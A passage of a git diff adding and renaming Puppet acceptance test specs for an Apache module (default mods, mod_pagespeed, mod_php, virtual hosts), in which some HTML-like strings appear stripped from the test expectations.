apply_manifest(pp, :catch_failures => true) + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'ServerTokens Minor' } + end + end + + describe 'server_signature' do + it 'applys cleanly' do + pp = <<-EOS + class { 'apache': + server_signature => 'testsig', + service_ensure => stopped, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'ServerSignature testsig' } + end + end + + describe 'trace_enable' do + it 'applys cleanly' do + pp = <<-EOS + class { 'apache': + trace_enable => 'Off', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'TraceEnable Off' } + end + end + + describe 'file_e_tag' do + it 'applys cleanly' do + pp = <<-EOS + class { 'apache': + file_e_tag => 'None', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file($conf_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'FileETag None' } + end + end + + describe 'package_ensure' do + it 'applys cleanly' do + pp = <<-EOS + class { 'apache': + package_ensure => present, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe package($package_name) do + it { is_expected.to be_installed } + end + end + +end diff --git a/modules/services/unix/http/apache/spec/acceptance/apache_ssl_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/apache_ssl_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/apache_ssl_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/apache_ssl_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/class_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/class_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/class_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/class_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/custom_config_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/custom_config_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/custom_config_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/custom_config_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/default_mods_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/default_mods_spec.rb new file mode 100644 index 000000000..35706c9a2 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/default_mods_spec.rb @@ -0,0 +1,111 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::default_mods class' do + describe 'no default mods' do + # Using puppet_apply as a helper + let(:pp) do + <<-EOS + class { 'apache': + default_mods => false, + } + EOS + end + + # Run it twice and test for idempotency + it_behaves_like "a idempotent resource" + describe service($service_name) do + it { is_expected.to be_running } + end + end + + unless (fact('operatingsystem') == 'SLES' && fact('operatingsystemmajrelease') == '12') + describe 'no default mods and failing' do + before :all do + pp = <<-PP + include apache::params + class { 'apache': default_mods => false, service_ensure => stopped, } + PP + apply_manifest(pp) + end + # Using puppet_apply as a helper + it 'should apply with errors' do + pp = <<-EOS + class { 'apache': + default_mods => false, + } + apache::vhost { 'defaults.example.com': + docroot => '#{$doc_root}/defaults', + aliases => { + alias => '/css', + path => '#{$doc_root}/css', + }, + directories => [ + { + 'path' => "#{$doc_root}/admin", + 'auth_basic_fake' => 'demo demopass', + } + ], + setenv => 'TEST1 one', + } + EOS + + apply_manifest(pp, { :expect_failures => true }) + end + end + + describe service($service_name) do + it { is_expected.not_to be_running } + end + end + + describe 'alternative default mods' do + # Using puppet_apply as a helper + let(:pp) do + <<-EOS + class { 'apache': + default_mods => [ + 'info', + 'alias', + 'mime', + 'env', + 'expires', + ], + } + apache::vhost { 'defaults.example.com': + docroot => '#{$doc_root}/defaults', + aliases => { + alias => '/css', + path => '#{$doc_root}/css', + }, + setenv => 'TEST1 one', + } + EOS + end + it_behaves_like "a idempotent resource" + + describe service($service_name) do + it { is_expected.to be_running } + end + end + + describe 'change loadfile name' do + let(:pp) do + <<-EOS + class { 'apache': default_mods => false } + ::apache::mod { 'auth_basic': + loadfile_name => 'zz_auth_basic.load', + } + EOS + end + # Run it twice and test for idempotency + it_behaves_like "a idempotent resource" + describe service($service_name) do + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/zz_auth_basic.load") do + it { is_expected.to be_file } + end + end +end diff --git a/modules/services/unix/http/apache/spec/acceptance/itk_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/itk_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/itk_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/itk_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_dav_svn_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_dav_svn_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_dav_svn_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_dav_svn_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_deflate_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_deflate_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_deflate_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_deflate_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_fcgid_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_fcgid_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_fcgid_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_fcgid_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_mime_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_mime_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_mime_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_mime_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_negotiation_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_negotiation_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_negotiation_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_negotiation_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_pagespeed_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_pagespeed_spec.rb new file mode 100644 index 000000000..1455d5630 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_pagespeed_spec.rb @@ -0,0 +1,61 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +# Only run the test on centos 7, this is to cut down on the different types of setup +# required. Installing the dependancies are highly prone to failure. +describe 'apache::mod::pagespeed class', :if => + ((fact('operatingsystem') == 'CentOS' ) and + (fact('operatingsystemmajrelease') == '7' )) do + context "default pagespeed config" do + it 'succeeds in puppeting pagespeed' do + pp= <<-EOS + yumrepo { 'mod-pagespeed': + baseurl => "http://dl.google.com/linux/mod-pagespeed/rpm/stable/$::architecture", + enabled => 1, + gpgcheck => 1, + gpgkey => 'https://dl-ssl.google.com/linux/linux_signing_key.pub', + before => Class['apache'], + } + + class { 'apache': + mpm_module => 'prefork', + } + class { 'apache::mod::pagespeed': + enable_filters => ['remove_comments'], + disable_filters => ['extend_cache'], + forbid_filters => ['rewrite_javascript'], + } + apache::vhost { 'pagespeed.example.com': + port => '80', + docroot => '#{$doc_root}/pagespeed', + } + host { 'pagespeed.example.com': ip => '127.0.0.1', } + file { '#{$doc_root}/pagespeed/index.html': + ensure => file, + content => "\n\n\n

Hello World!

\n\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + it { should be_enabled } + it { is_expected.to be_running } + end + + describe file("#{$mod_dir}/pagespeed.conf") do + it { is_expected.to contain "AddOutputFilterByType MOD_PAGESPEED_OUTPUT_FILTER text/html" } + it { is_expected.to contain "ModPagespeedEnableFilters remove_comments" } + it { is_expected.to contain "ModPagespeedDisableFilters extend_cache" } + it { is_expected.to contain "ModPagespeedForbidFilters rewrite_javascript" } + end + + it 'should answer to pagespeed.example.com and include and be stripped of comments by mod_pagespeed' do + shell("/usr/bin/curl pagespeed.example.com:80") do |r| + expect(r.stdout).to match(//) + expect(r.stdout).not_to match(//) + expect(r.exit_code).to eq(0) + end + end + end +end diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_passenger_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_passenger_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_passenger_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_passenger_spec.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_php_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_php_spec.rb new file mode 100644 index 000000000..59be2baaa --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_php_spec.rb @@ -0,0 +1,152 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +unless (fact('operatingsystem') == 'SLES' && fact('operatingsystemmajrelease') == '12') + describe 'apache::mod::php class' do + context "default php config" do + it 'succeeds in puppeting php' do + pp= <<-EOS + class { 'apache': + mpm_module => 'prefork', + } + class { 'apache::mod::php': } + apache::vhost { 'php.example.com': + port => '80', + docroot => '#{$doc_root}/php', + } + host { 'php.example.com': ip => '127.0.0.1', } + file { '#{$doc_root}/php/index.php': + ensure => file, + content => "\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + if (fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemmajrelease') == '16.04') + describe file("#{$mod_dir}/php7.0.conf") do + it { is_expected.to contain "DirectoryIndex index.php" } + end + else + describe file("#{$mod_dir}/php5.conf") do + it { is_expected.to contain "DirectoryIndex index.php" } + end + end + + it 'should answer to php.example.com' do + shell("/usr/bin/curl php.example.com:80") do |r| + expect(r.stdout).to match(/PHP Version/) + expect(r.exit_code).to eq(0) + end + end + end + + context "custom extensions, php_flag, php_value, php_admin_flag, and php_admin_value" do + it 'succeeds in puppeting php' do + pp= <<-EOS + class { 'apache': + mpm_module => 'prefork', + } + class { 'apache::mod::php': + extensions => ['.php','.php5'], + } + apache::vhost { 'php.example.com': + port => '80', + docroot => '#{$doc_root}/php', + php_values => { 'include_path' => '.:/usr/share/pear:/usr/bin/php', }, + php_flags => { 'display_errors' => 'on', }, + php_admin_values => { 'open_basedir' => '/var/www/php/:/usr/share/pear/', }, + php_admin_flags => { 'engine' => 'on', }, + } + host { 'php.example.com': ip => '127.0.0.1', } + file { '#{$doc_root}/php/index.php5': + ensure => file, + content => "\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$vhost_dir}/25-php.example.com.conf") do + it { is_expected.to contain " php_flag display_errors on" } + it { is_expected.to contain " php_value include_path \".:/usr/share/pear:/usr/bin/php\"" } + it { is_expected.to contain " php_admin_flag engine on" } + it { is_expected.to contain " php_admin_value open_basedir /var/www/php/:/usr/share/pear/" } + end + + it 'should answer to php.example.com' do + shell("/usr/bin/curl php.example.com:80") do |r| + expect(r.stdout).to match(/\/usr\/share\/pear\//) + expect(r.exit_code).to eq(0) + end + end + end + + context "provide custom config file" do + it 'succeeds in puppeting php' do + pp= <<-EOS + class {'apache': + mpm_module => 'prefork', + } + class {'apache::mod::php': + content => '# somecontent', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + if (fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemmajrelease') == '16.04') + describe file("#{$mod_dir}/php7.0.conf") do + it { should contain "# somecontent" } + end + else + describe file("#{$mod_dir}/php5.conf") do + it { should contain "# somecontent" } + end + end + end + + context "provide content and template config file" do + it 'succeeds in puppeting php' do + pp= <<-EOS + class {'apache': + mpm_module => 'prefork', + } + class {'apache::mod::php': + content => '# somecontent', + template => 'apache/mod/php5.conf.erb', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + if (fact('operatingsystem') == 'Ubuntu' && fact('operatingsystemmajrelease') == '16.04') + describe file("#{$mod_dir}/php7.0.conf") do + it { should contain "# somecontent" } + end + else + describe file("#{$mod_dir}/php5.conf") do + it { should contain "# somecontent" } + end + end + end + + end +end diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_proxy_html_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_proxy_html_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_proxy_html_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_proxy_html_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_security_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_security_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_security_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_security_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/mod_suphp_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_suphp_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/mod_suphp_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/mod_suphp_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/centos-7-x64.yml b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/centos-7-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/centos-7-x64.yml rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/centos-7-x64.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/debian-8-x64.yml b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/debian-8-x64.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/debian-8-x64.yml rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/debian-8-x64.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/default.yml b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/default.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/default.yml rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/default.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/docker/centos-7.yml b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/docker/centos-7.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/docker/centos-7.yml rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/docker/centos-7.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/docker/debian-8.yml b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/docker/debian-8.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/docker/debian-8.yml rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/docker/debian-8.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/docker/ubuntu-14.04.yml b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/docker/ubuntu-14.04.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/docker/ubuntu-14.04.yml rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/docker/ubuntu-14.04.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/nodesets/suse.yml b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/suse.yml similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/nodesets/suse.yml rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/nodesets/suse.yml diff --git a/modules/services/unix/http/apache/spec/acceptance/prefork_worker_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/prefork_worker_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/prefork_worker_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/prefork_worker_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/service_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/service_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/service_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/service_spec.rb diff --git a/modules/services/unix/http/apache/spec/acceptance/version.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/version.rb similarity index 100% rename from modules/services/unix/http/apache/spec/acceptance/version.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/version.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/vhost_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/vhost_spec.rb new file mode 100644 index 000000000..dae411538 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/acceptance/vhost_spec.rb @@ -0,0 +1,1716 @@ +require 'spec_helper_acceptance' +require_relative './version.rb' + +describe 'apache::vhost define' do + context 'no default vhosts' do + it 'should create no default vhosts' do + pp = <<-EOS + class { 'apache': + default_vhost => false, + default_ssl_vhost => false, + service_ensure => stopped, + } + if ($::osfamily == 'Suse') { + exec { '/usr/bin/gensslcert': + require => Class['apache'], + } + } + EOS + + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/15-default.conf") do + it { is_expected.not_to be_file } + end + + describe file("#{$vhost_dir}/15-default-ssl.conf") do + it { is_expected.not_to be_file } + end + end + + context "default vhost without ssl" do + it 'should create a default vhost config' do + pp = <<-EOS + class { 'apache': } + EOS + + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/15-default.conf") do + it { is_expected.to contain '' } + end + + describe file("#{$vhost_dir}/15-default-ssl.conf") do + it { is_expected.not_to be_file } + end + end + + context 'default vhost with ssl' do + it 'should create default vhost configs' do + pp = <<-EOS + file { '#{$run_dir}': + ensure => 'directory', + recurse => true, + } + + class { 'apache': + default_ssl_vhost => true, + require => File['#{$run_dir}'], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/15-default.conf") do + it { is_expected.to contain '' } + end + + describe file("#{$vhost_dir}/15-default-ssl.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "SSLEngine on" } + end + end + + context 'new vhost on port 80' do + it 'should configure an apache vhost' do + pp = <<-EOS + class { 'apache': } + file { '/var/www': + ensure => 'directory', + recurse => true, + } + + apache::vhost { 'first.example.com': + port => '80', + docroot => '/var/www/first', + require => File['/var/www'], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-first.example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName first.example.com" } + end + end + + context 'new proxy vhost on port 80' do + it 'should configure an apache proxy vhost' do + pp = <<-EOS + class { 'apache': } + apache::vhost { 'proxy.example.com': + port => '80', + docroot => '/var/www/proxy', + proxy_pass => [ + { 'path' => '/foo', 'url' => 'http://backend-foo/'}, + ], + proxy_preserve_host => true, + proxy_error_override => true, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-proxy.example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName proxy.example.com" } + it { is_expected.to contain "ProxyPass" } + it { is_expected.to contain "ProxyPreserveHost On" } + it { is_expected.to contain "ProxyErrorOverride On" } + it { is_expected.not_to contain "ProxyAddHeaders" } + it { is_expected.not_to contain "" } + end + end + + unless (fact('operatingsystem') == 'SLES' and fact('operatingsystemmajorrelease') <= '10') + context 'new proxy vhost on port 80' do + it 'should configure an apache proxy vhost' do + pp = <<-EOS + class { 'apache': } + apache::vhost { 'proxy.example.com': + port => '80', + docroot => '#{$docroot}/proxy', + proxy_pass_match => [ + { 'path' => '/foo', 'url' => 'http://backend-foo/'}, + ], + proxy_preserve_host => true, + proxy_error_override => true, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-proxy.example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName proxy.example.com" } + it { is_expected.to contain "ProxyPassMatch /foo http://backend-foo/" } + it { is_expected.to contain "ProxyPreserveHost On" } + it { is_expected.to contain "ProxyErrorOverride On" } + it { is_expected.not_to contain "ProxyAddHeaders" } + it { is_expected.not_to contain "" } + end + end + end + + context 'new vhost on port 80' do + it 'should configure two apache vhosts' do + pp = <<-EOS + class { 'apache': } + apache::vhost { 'first.example.com': + port => '80', + docroot => '/var/www/first', + } + host { 'first.example.com': ip => '127.0.0.1', } + file { '/var/www/first/index.html': + ensure => file, + content => "Hello from first\\n", + } + apache::vhost { 'second.example.com': + port => '80', + docroot => '/var/www/second', + } + host { 'second.example.com': ip => '127.0.0.1', } + file { '/var/www/second/index.html': + ensure => file, + content => "Hello from second\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should answer to first.example.com' do + shell("/usr/bin/curl first.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from first\n") + end + end + + it 'should answer to second.example.com' do + shell("/usr/bin/curl second.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from second\n") + end + end + end + + context 'new vhost with multiple IP addresses on port 80' do + it 'should configure one apache vhost with 2 ip addresses' do + pp = <<-EOS + class { 'apache': + default_vhost => false, + } + apache::vhost { 'example.com': + port => '80', + ip => ['127.0.0.1','127.0.0.2'], + ip_based => true, + docroot => '/var/www/html', + } + host { 'host1.example.com': ip => '127.0.0.1', } + host { 'host2.example.com': ip => '127.0.0.2', } + file { '/var/www/html/index.html': + ensure => file, + content => "Hello from vhost\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$vhost_dir}/25-example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName example.com" } + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Listen 127.0.0.1:80' } + it { is_expected.to contain 'Listen 127.0.0.2:80' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:80' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.2:80' } + end + + it 'should answer to host1.example.com' do + shell("/usr/bin/curl host1.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host2.example.com' do + shell("/usr/bin/curl host2.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + end + + context 'new vhost with multiple ports on 1 IP address' do + it 'should configure one apache vhost with 2 ports' do + pp = <<-EOS + class { 'apache': + default_vhost => false, + } + apache::vhost { 'example.com': + port => ['80','8080'], + ip => '127.0.0.1', + ip_based => true, + docroot => '/var/www/html', + } + host { 'host1.example.com': ip => '127.0.0.1', } + file { '/var/www/html/index.html': + ensure => file, + content => "Hello from vhost\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$vhost_dir}/25-example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName example.com" } + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Listen 127.0.0.1:80' } + it { is_expected.to contain 'Listen 127.0.0.1:8080' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:80' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:8080' } + end + + it 'should answer to host1.example.com port 80' do + shell("/usr/bin/curl host1.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host1.example.com port 8080' do + shell("/usr/bin/curl host1.example.com:8080", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + end + + context 'new vhost with multiple IP addresses on multiple ports' do + it 'should configure one apache vhost with 2 ip addresses and 2 ports' do + pp = <<-EOS + class { 'apache': + default_vhost => false, + } + apache::vhost { 'example.com': + port => ['80', '8080'], + ip => ['127.0.0.1','127.0.0.2'], + ip_based => true, + docroot => '/var/www/html', + } + host { 'host1.example.com': ip => '127.0.0.1', } + host { 'host2.example.com': ip => '127.0.0.2', } + file { '/var/www/html/index.html': + ensure => file, + content => "Hello from vhost\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$vhost_dir}/25-example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName example.com" } + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Listen 127.0.0.1:80' } + it { is_expected.to contain 'Listen 127.0.0.1:8080' } + it { is_expected.to contain 'Listen 127.0.0.2:80' } + it { is_expected.to contain 'Listen 127.0.0.2:8080' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:80' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.1:8080' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.2:80' } + it { is_expected.not_to contain 'NameVirtualHost 127.0.0.2:8080' } + end + + it 'should answer to host1.example.com port 80' do + shell("/usr/bin/curl host1.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host1.example.com port 8080' do + shell("/usr/bin/curl host1.example.com:8080", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host2.example.com port 80' do + shell("/usr/bin/curl host2.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + + it 'should answer to host2.example.com port 8080' do + shell("/usr/bin/curl host2.example.com:8080", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + end + + context 'new vhost with IPv6 address on port 80', :ipv6 do + it 'should configure one apache vhost with an ipv6 address' do + pp = <<-EOS + class { 'apache': + default_vhost => false, + } + apache::vhost { 'example.com': + port => '80', + ip => '::1', + ip_based => true, + docroot => '/var/www/html', + } + host { 'ipv6.example.com': ip => '::1', } + file { '/var/www/html/index.html': + ensure => file, + content => "Hello from vhost\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + describe file("#{$vhost_dir}/25-example.com.conf") do + it { is_expected.to contain '' } + it { is_expected.to contain "ServerName example.com" } + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.to contain 'Listen [::1]:80' } + it { is_expected.not_to contain 'NameVirtualHost [::1]:80' } + end + + it 'should answer to ipv6.example.com' do + shell("/usr/bin/curl ipv6.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from vhost\n") + end + end + end + + context 'apache_directories' do + describe 'readme example, adapted' do + it 'should configure a vhost with Files' do + pp = <<-EOS + class { 'apache': } + + if versioncmp($apache_version, '2.4') >= 0 { + $_files_match_directory = { 'path' => '(\.swp|\.bak|~)$', 'provider' => 'filesmatch', 'require' => 'all denied', } + } else { + $_files_match_directory = { 'path' => '(\.swp|\.bak|~)$', 'provider' => 'filesmatch', 'deny' => 'from all', } + } + + $_directories = [ + { 'path' => '/var/www/files', }, + $_files_match_directory, + ] + + apache::vhost { 'files.example.net': + docroot => '/var/www/files', + directories => $_directories, + } + file { '/var/www/files/index.html': + ensure => file, + content => "Hello World\\n", + } + file { '/var/www/files/index.html.bak': + ensure => file, + content => "Hello World\\n", + } + host { 'files.example.net': ip => '127.0.0.1', } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should answer to files.example.net' do + expect(shell("/usr/bin/curl -sSf files.example.net:80/index.html").stdout).to eq("Hello 